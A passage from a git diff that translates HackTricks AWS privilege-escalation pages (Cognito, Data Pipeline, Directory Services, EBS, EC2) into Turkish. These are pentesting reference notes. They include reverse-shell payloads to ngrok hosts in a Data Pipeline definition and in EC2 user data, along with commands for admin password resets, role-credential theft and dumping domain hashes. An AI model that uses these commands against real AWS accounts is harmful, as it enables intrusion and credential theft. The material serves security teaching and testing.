kullanıcının MFA tercihlerini ayarlamak için kullanılabilir ve MFA korumasını atlatabilir. ```bash aws cognito-idp admin-set-user-mfa-preference \ - [--sms-mfa-settings ] \ - [--software-token-mfa-settings ] \ - --username \ - --user-pool-id +[--sms-mfa-settings ] \ +[--software-token-mfa-settings ] \ +--username \ +--user-pool-id ``` - -**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection. - +**SetUserPoolMfaConfig**: Öncekine benzer şekilde, bu izin bir kullanıcı havuzunun MFA tercihlerini ayarlamak için kullanılabilir ve MFA korumasını atlatabilir. ```bash aws cognito-idp set-user-pool-mfa-config \ - --user-pool-id \ - [--sms-mfa-configuration ] \ - [--software-token-mfa-configuration ] \ - [--mfa-configuration ] +--user-pool-id \ +[--sms-mfa-configuration ] \ +[--software-token-mfa-configuration ] \ +[--mfa-configuration ] ``` +**UpdateUserPool:** Kullanıcı havuzunu MFA politikasını değiştirmek için güncellemek de mümkündür. [CLI'yi buradan kontrol edin](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). -**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html). - -**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection. +**Potential Impact:** Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı yetki yükseltme, bu MFA korumasını atlamaya izin verebilir. ### `cognito-idp:AdminUpdateUserAttributes` -An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\ -This allows to change an email or phone number and set it as verified. - +Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcının e-posta adresini veya telefon numarasını veya başka bir niteliğini değiştirerek, altta yatan bir uygulamada daha fazla yetki elde etmeye çalışabilir.\ +Bu, bir e-posta adresini veya telefon numarasını değiştirmeye ve bunu doğrulanmış olarak ayarlamaya olanak tanır. ```bash aws cognito-idp admin-update-user-attributes \ - --user-pool-id \ - --username \ - --user-attributes +--user-pool-id \ +--username \ +--user-attributes ``` - -**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes. +**Potansiyel Etki:** Kullanıcı özelliklerine dayalı ayrıcalıklar veren Cognito Kullanıcı Havuzu altında potansiyel dolaylı ayrıcalık yükseltme. ### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient` -An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period... +Bu izne sahip bir saldırgan, **zaten mevcut havuz istemcilerinden daha az kısıtlı yeni bir Kullanıcı Havuzu İstemcisi oluşturabilir**. Örneğin, yeni istemci herhangi bir kimlik doğrulama yöntemine izin verebilir, herhangi bir gizli anahtar içermeyebilir, token iptalini devre dışı bırakabilir, tokenların daha uzun süre geçerli olmasına izin verebilir... -The same can be be don if instead of creating a new client, an **existing one is modified**. - -In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!. +Aynı şey, yeni bir istemci oluşturmak yerine, **mevcut birinin değiştirilmesiyle** de yapılabilir. +[**komut satırında**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (veya [**güncelleme için**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) tüm seçenekleri görebilirsiniz, kontrol edin!. ```bash aws cognito-idp create-user-pool-client \ - --user-pool-id \ - --client-name \ - [...] +--user-pool-id \ +--client-name \ +[...] ``` - -**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create. +**Potansiyel Etki:** Kullanıcı Havuzu tarafından kullanılan Kimlik Havuzu yetkilendirilmiş kullanıcısına potansiyel dolaylı yetki yükseltme, güvenlik önlemlerini gevşeten ve bir saldırganın oluşturabildiği bir kullanıcı ile giriş yapmasını mümkün kılan yeni bir istemci oluşturarak. ### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob` -An attacker could abuse this permission to create users y uploading a csv with new users. - +Bir saldırgan, yeni kullanıcılar ile birlikte bir csv yükleyerek bu izni kötüye kullanabilir. ```bash # Create a new import job aws cognito-idp create-user-import-job \ - --job-name \ - --user-pool-id \ - --cloud-watch-logs-role-arn +--job-name \ +--user-pool-id \ +--cloud-watch-logs-role-arn # Use a new import job aws cognito-idp start-user-import-job \ - --user-pool-id \ - --job-id +--user-pool-id \ +--job-id # Both options before will give you a URL where you can send the CVS file with the users to create curl -v -T "PATH_TO_CSV_FILE" \ - -H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" +-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL" ``` +(Yeni bir içe aktarma işi oluşturduğunuzda, iam passrole iznine de ihtiyacınız olabilir, henüz test etmedim). -(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet). - -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne doğrudan privesc, kimlik doğrulanmış kullanıcılar için. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı privesc. ### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider` -An attacker could create a new identity provider to then be able to **login through this provider**. - +Bir saldırgan, bu sağlayıcı aracılığıyla **giriş yapabilmek için** yeni bir kimlik sağlayıcı oluşturabilir. ```bash aws cognito-idp create-identity-provider \ - --user-pool-id \ - --provider-name \ - --provider-type \ - --provider-details \ - [--attribute-mapping ] \ - [--idp-identifiers ] +--user-pool-id \ +--provider-name \ +--provider-type \ +--provider-details \ +[--attribute-mapping ] \ +[--idp-identifiers ] ``` +**Potansiyel Etki:** Kimlik havuzundaki IAM rolüne kimlik doğrulama yapılmış kullanıcılar için doğrudan yetki yükseltme. Herhangi bir kullanıcı oluşturma yeteneği ile diğer uygulama işlevlerine dolaylı yetki yükseltme. -**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user. +### cognito-sync:\* Analizi -### cognito-sync:\* Analysis +Bu, Cognito Kimlik Havuzları'ndaki roller için varsayılan olarak çok yaygın bir izindir. İzinlerde bir joker karakterin her zaman kötü görünmesi (özellikle AWS'den geliyorsa) rağmen, **verilen izinler bir saldırganın bakış açısında çok faydalı değildir**. -This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**. +Bu izin, Kimlik Havuzları içindeki kimlik bilgilerini ve Kimlik ID'lerini okumaya izin verir (bu hassas bilgi değildir).\ +Kimlik ID'lerine atanmış [**Veri Setleri**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) olabilir, bu da oturum bilgilerini içerir (AWS bunu **kaydedilmiş oyun** olarak tanımlar). Bunun bazı hassas bilgileri içermesi mümkün olabilir (ancak olasılık oldukça düşüktür). Bu bilgilere erişim için [**numaralandırma sayfasında**](../aws-services/aws-cognito-enum/) nasıl erişileceğini bulabilirsiniz. -This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\ -Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information. +Bir saldırgan bu izinleri, **bu veri setlerinde değişiklikleri yayınlayan bir Cognito akışına kendini kaydetmek** veya **cognito olaylarında tetiklenen bir lambda** kullanmak için de kullanabilir. Bunun kullanıldığını görmedim ve burada hassas bilgi beklemiyorum, ancak imkansız değil. -An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible. +### Otomatik Araçlar -### Automatic Tools +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS istismar çerçevesi, artık bir hesapta tüm Cognito varlıklarının numaralandırılmasını otomatikleştiren ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı niteliklerini vb. işaret eden "cognito\_\_enum" ve "cognito\_\_attack" modüllerini içermektedir. Ayrıca, kullanıcı oluşturmayı (MFA desteği dahil) ve değiştirilebilir özel niteliklere, kullanılabilir kimlik havuzu kimlik bilgilerine, id token'larındaki üstlenilebilir rollere dayalı yetki yükseltmeyi otomatikleştirir. -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc. +Modüllerin işlevlerinin açıklaması için [blog yazısının](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) 2. kısmına bakın. Kurulum talimatları için ana [Pacu](https://github.com/RhinoSecurityLabs/pacu) sayfasına bakın. -For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page. - -#### Usage - -Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client: +#### Kullanım +Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi karşısında kullanıcı oluşturma ve tüm yetki yükseltme vektörlerini denemek için örnek cognito\_\_attack kullanımı: ```bash Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` - -Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account: - +Örnek cognito\_\_enum kullanımı, mevcut AWS hesabında görünen tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. toplamak için: ```bash Pacu (new:test) > run cognito__enum ``` +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) , privesc yükseltmesi de dahil olmak üzere Cognito'ya farklı saldırılar uygulayan bir python CLI aracıdır. -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation. - -#### Installation - +#### Kurulum ```bash $ pip install cognito-scanner ``` - -#### Usage - +#### Kullanım ```bash $ cognito-scanner --help ``` - -For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) +Daha fazla bilgi için [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner) adresini kontrol edin. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md index 82c82682e..9d15e6ce9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md @@ -4,7 +4,7 @@ ## datapipeline -For more info about datapipeline check: +Datapipeline hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -12,67 +12,57 @@ For more info about datapipeline check: ### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline` -Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:** - +Bu **izinlere sahip kullanıcılar, atanan rolün izinlerini kullanarak rastgele komutlar çalıştırmak için bir Data Pipeline oluşturup ayrıcalıkları artırabilir:** ```bash aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string ``` - -After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations: - +Pipeline oluşturulduktan sonra, saldırgan belirli eylemleri veya kaynak oluşturma işlemlerini belirlemek için tanımını günceller: ```json { - "objects": [ - { - "id": "CreateDirectory", - "type": "ShellCommandActivity", - "command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", - "runsOn": { "ref": "instance" } - }, - { - "id": "Default", - "scheduleType": "ondemand", - "failureAndRerunMode": "CASCADE", - "name": "Default", - "role": "assumable_datapipeline", - "resourceRole": "assumable_datapipeline" - }, - { - "id": "instance", - "name": "instance", - "type": "Ec2Resource", - "actionOnTaskFailure": "terminate", - "actionOnResourceFailure": "retryAll", - "maximumRetries": "1", - "instanceType": "t2.micro", - "securityGroups": ["default"], - "role": "assumable_datapipeline", - "resourceRole": "assumable_ec2_profile_instance" - } - ] +"objects": [ +{ +"id": "CreateDirectory", +"type": "ShellCommandActivity", +"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'", +"runsOn": { "ref": "instance" } +}, +{ +"id": "Default", +"scheduleType": "ondemand", +"failureAndRerunMode": "CASCADE", +"name": "Default", +"role": "assumable_datapipeline", +"resourceRole": "assumable_datapipeline" +}, +{ +"id": "instance", +"name": "instance", +"type": "Ec2Resource", +"actionOnTaskFailure": "terminate", +"actionOnResourceFailure": "retryAll", +"maximumRetries": "1", +"instanceType": "t2.micro", +"securityGroups": ["default"], +"role": "assumable_datapipeline", +"resourceRole": "assumable_ec2_profile_instance" +} +] } ``` - > [!NOTE] -> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**. +> **14, 15 ve 27. satırlardaki** **rolün** **datapipeline.amazonaws.com** tarafından üstlenilebilir bir rol olması gerektiğini unutmayın ve **28. satırdaki** rolün **ec2.amazonaws.com tarafından üstlenilebilir bir rol olması gerektiğini ve bir EC2 profil örneği ile** olması gerektiğini unutmayın. > -> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one). - +> Ayrıca, EC2 örneği yalnızca EC2 örneği tarafından üstlenilebilir role erişime sahip olacaktır (bu nedenle yalnızca o rolü çalabilirsiniz). ```bash aws datapipeline put-pipeline-definition --pipeline-id \ - --pipeline-definition file:///pipeline/definition.json +--pipeline-definition file:///pipeline/definition.json ``` +**Saldırgan tarafından oluşturulan pipeline tanım dosyası, komutları yürütmek veya AWS API'si aracılığıyla kaynaklar oluşturmak için direktifler içerir, Data Pipeline'ın rol izinlerini kullanarak potansiyel olarak ek ayrıcalıklar elde etme imkanı sağlar.** -The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges. +**Potansiyel Etki:** Belirtilen ec2 hizmet rolüne doğrudan ayrıcalık yükseltme. -**Potential Impact:** Direct privesc to the ec2 service role specified. - -## References +## Referanslar - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md index ce24095ed..b29d3f89f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md @@ -1,10 +1,10 @@ -# AWS - Directory Services Privesc +# AWS - Dizin Hizmetleri Yetki Yükseltme {{#include ../../../banners/hacktricks-training.md}} -## Directory Services +## Dizin Hizmetleri -For more info about directory services check: +Dizin hizmetleri hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-directory-services-workdocs-enum.md @@ -12,27 +12,21 @@ For more info about directory services check: ### `ds:ResetUserPassword` -This permission allows to **change** the **password** of any **existent** user in the Active Directory.\ -By default, the only existent user is **Admin**. - +Bu izin, Active Directory'deki herhangi bir **mevcut** kullanıcının **şifresini** **değiştirmeye** olanak tanır.\ +Varsayılan olarak, tek mevcut kullanıcı **Admin**'dir. ``` aws ds reset-user-password --directory-id --user-name Admin --new-password Newpassword123. ``` +### AWS Yönetim Konsolu -### AWS Management Console - -It's possible to enable an **application access URL** that users from AD can access to login: +AD'den kullanıcıların giriş yapabileceği bir **uygulama erişim URL'si** etkinleştirmek mümkündür:
-And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console: +Ve ardından giriş yaptıklarında onlara bir **AWS IAM rolü** vermek, bu şekilde bir AD kullanıcısı/grubu AWS yönetim konsoluna erişim sağlayacaktır:
-There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission +Görünüşe göre uygulama erişim URL'sini etkinleştirmek, AWS Yönetim Konsolu'nu ve izin vermeyi sağlamak için herhangi bir yol yoktur. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md index b4af46712..84d2ed887 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md @@ -4,7 +4,7 @@ ## dynamodb -For more info about dynamodb check: +Dynamodb hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,16 +12,12 @@ For more info about dynamodb check: ### Post Exploitation -As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**: +Bildigim kadarıyla, sadece bazı AWS `dynamodb` izinlerine sahip olarak AWS'de **yetki yükseltmenin doğrudan bir yolu yoktur**. Tabloalardan **hassas** bilgileri okuyabilir (AWS kimlik bilgilerini içerebilir) ve tablolara **bilgi yazabilirsiniz** (bu, diğer güvenlik açıklarını tetikleyebilir, örneğin lambda kod enjeksiyonları...) ancak bu seçeneklerin hepsi **DynamoDB Post Exploitation sayfasında** zaten dikkate alınmıştır: {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### TODO: Read data abusing data Streams +### TODO: Veri Akışlarını kötüye kullanarak veri okuma {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md index 36ea3bc53..ed8e5051f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md @@ -6,26 +6,22 @@ ### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots` -An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in: +Bu izinlere sahip bir saldırgan, **hacim anlık görüntülerini yerel olarak indirme ve analiz etme** yeteneğine sahip olacak ve bunlarda hassas bilgileri (gizli anahtarlar veya kaynak kodu gibi) arayabilecektir. Bunu nasıl yapacağınızı bulmak için: {{#ref}} ../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md {{#endref}} -Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` +`ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags` gibi diğer izinler de faydalı olabilir. -The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**. +[https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) aracı, **bir etki alanı denetleyicisinden şifreleri çıkarmak için** bu saldırıyı gerçekleştirir. -**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords). +**Olası Etki:** Anlık görüntüde hassas bilgileri bulma yoluyla dolaylı privesc (Active Directory şifrelerini bile elde edebilirsiniz). ### **`ec2:CreateSnapshot`** -Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project. +**`EC2:CreateSnapshot`** iznine sahip herhangi bir AWS kullanıcısı, **Etki Alanı Denetleyicisinin anlık görüntüsünü** oluşturarak tüm etki alanı kullanıcılarının hash'lerini çalabilir, bunu kontrol ettikleri bir örneğe monte ederek ve **NTDS.dit ve SYSTEM** kayıt defteri hibe dosyasını Impacket'in secretsdump projesi ile kullanmak üzere dışa aktararak gerçekleştirebilir. -You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot. +Bu aracı saldırıyı otomatikleştirmek için kullanabilirsiniz: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) veya bir anlık görüntü oluşturduktan sonra önceki tekniklerden birini kullanabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index ad31bde00..1297a1ef7 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -4,7 +4,7 @@ ## EC2 -For more **info about EC2** check: +Daha fazla **EC2 hakkında bilgi** için kontrol edin: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,51 +12,46 @@ For more **info about EC2** check: ### `iam:PassRole`, `ec2:RunInstances` -An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint. +Bir saldırgan **bir IAM rolü ekleyerek bir örnek oluşturabilir ve ardından örneğe erişerek IAM rolü kimlik bilgilerini metadata uç noktasından çalabilir.** -- **Access via SSH** - -Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`). +- **SSH ile Erişim** +Yeni bir örnek çalıştırarak **oluşturulmuş** **ssh anahtarı** (`--key-name`) kullanın ve ardından buna ssh ile bağlanın (yeni bir tane oluşturmak istiyorsanız `ec2:CreateKeyPair` iznine sahip olmanız gerekebilir). ```bash aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name= --key-name \ - --security-group-ids +--iam-instance-profile Name= --key-name \ +--security-group-ids ``` +- **Kullanıcı verisinde rev shell ile erişim** -- **Access via rev shell in user data** - -You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way. - +Yeni bir örnek çalıştırabilirsiniz, bu örnek **kullanıcı verisi** (`--user-data`) kullanarak size bir **rev shell** gönderecektir. Bu şekilde güvenlik grubunu belirtmenize gerek yoktur. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh aws ec2 run-instances --image-id --instance-type t2.micro \ - --iam-instance-profile Name=E \ - --count 1 \ - --user-data "file:///tmp/rev.sh" +--iam-instance-profile Name=E \ +--count 1 \ +--user-data "file:///tmp/rev.sh" ``` - -Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance: +GuradDuty ile dikkatli olun, eğer IAM rolünün kimlik bilgilerini örneğin dışında kullanıyorsanız: {{#ref}} ../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md {{#endref}} -**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles. +**Olası Etki:** Mevcut örnek profillerine bağlı herhangi bir EC2 rolüne doğrudan privesc. -#### Privesc to ECS - -With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**. +#### ECS'ye Privesc +Bu izin seti ile **bir EC2 örneği oluşturabilir ve bunu bir ECS kümesine kaydedebilirsiniz**. Bu şekilde, ECS **hizmetleri** erişiminiz olan **EC2 örneği** içinde **çalıştırılacaktır** ve ardından bu hizmetlere (docker konteynerleri) sızabilir ve **bağlı ECS rollerini çalabilirsiniz**. ```bash aws ec2 run-instances \ - --image-id ami-07fde2ae86109a2af \ - --instance-type t2.micro \ - --iam-instance-profile \ - --count 1 --key-name pwned \ - --user-data "file:///tmp/asd.sh" +--image-id ami-07fde2ae86109a2af \ +--instance-type t2.micro \ +--iam-instance-profile \ +--count 1 --key-name pwned \ +--user-data "file:///tmp/asd.sh" # Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs) # The EC2 instance profile needs basic ECS access @@ -64,22 +59,20 @@ aws ec2 run-instances \ #!/bin/bash echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config; ``` - -To learn how to **force ECS services to be run** in this new EC2 instance check: +Yeni EC2 örneğinde **ECS hizmetlerini çalıştırmayı zorlamak** için öğrenmek üzere kontrol edin: {{#ref}} aws-ecs-privesc.md {{#endref}} -If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack. +Eğer **yeni bir örnek oluşturamıyorsanız** ancak `ecs:RegisterContainerInstance` iznine sahipseniz, örneği küme içinde kaydedebilir ve yorumlanan saldırıyı gerçekleştirebilirsiniz. -**Potential Impact:** Direct privesc to ECS roles attached to tasks. +**Olası Etki:** Görevlerle ilişkilendirilmiş ECS rollerine doğrudan privesc. ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`** -Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\ -As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**. - +Önceki senaryoya benzer şekilde, bu izinlere sahip bir saldırgan **ele geçirilmiş bir örneğin IAM rolünü değiştirebilir** böylece yeni kimlik bilgilerini çalabilir.\ +Bir örnek profili yalnızca 1 role sahip olabileceğinden, eğer örnek profili **zaten bir role sahipse** (yaygın durum), ayrıca **`iam:RemoveRoleFromInstanceProfile`** iznine de ihtiyacınız olacaktır. ```bash # Removing role from instance profile aws iam remove-role-from-instance-profile --instance-profile-name --role-name @@ -87,60 +80,50 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role- # Add role to instance profile aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` +Eğer **örnek profil bir role sahipse** ve saldırgan **bunu kaldıramıyorsa**, başka bir çözüm yolu vardır. O, **rolü olmayan** bir **örnek profili bulabilir** veya **yeni bir tane oluşturabilir** (`iam:CreateInstanceProfile`), **rolü** o **örnek profiline** ekleyebilir (daha önce tartışıldığı gibi) ve **örnek profilini** ele geçirilmiş bir **örneğe** ilişkilendirebilir: -If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:** - -- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \* - +- Eğer örnek **hiçbir örnek** profiline sahip değilse (`ec2:AssociateIamInstanceProfile`) \* ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` - -**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status). +**Potansiyel Etki:** Farklı bir EC2 rolüne doğrudan yetki yükseltme (bir AWS EC2 örneğini ele geçirmiş olmanız ve bazı ek izinlere veya belirli bir örnek profil durumuna sahip olmanız gerekir). ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it. - -- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \* +Bu izinlerle, bir örneğe bağlı olan örnek profilini değiştirmek mümkündür, bu nedenle saldırı zaten bir örneğe erişim sağladıysa, ona bağlı olanı değiştirerek daha fazla örnek profil rolü için kimlik bilgilerini çalabilecektir. +- Eğer **bir örnek profili varsa**, örnek profilini **kaldırabilir** (`ec2:DisassociateIamInstanceProfile`) ve **bağlayabilirsiniz** \* ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile 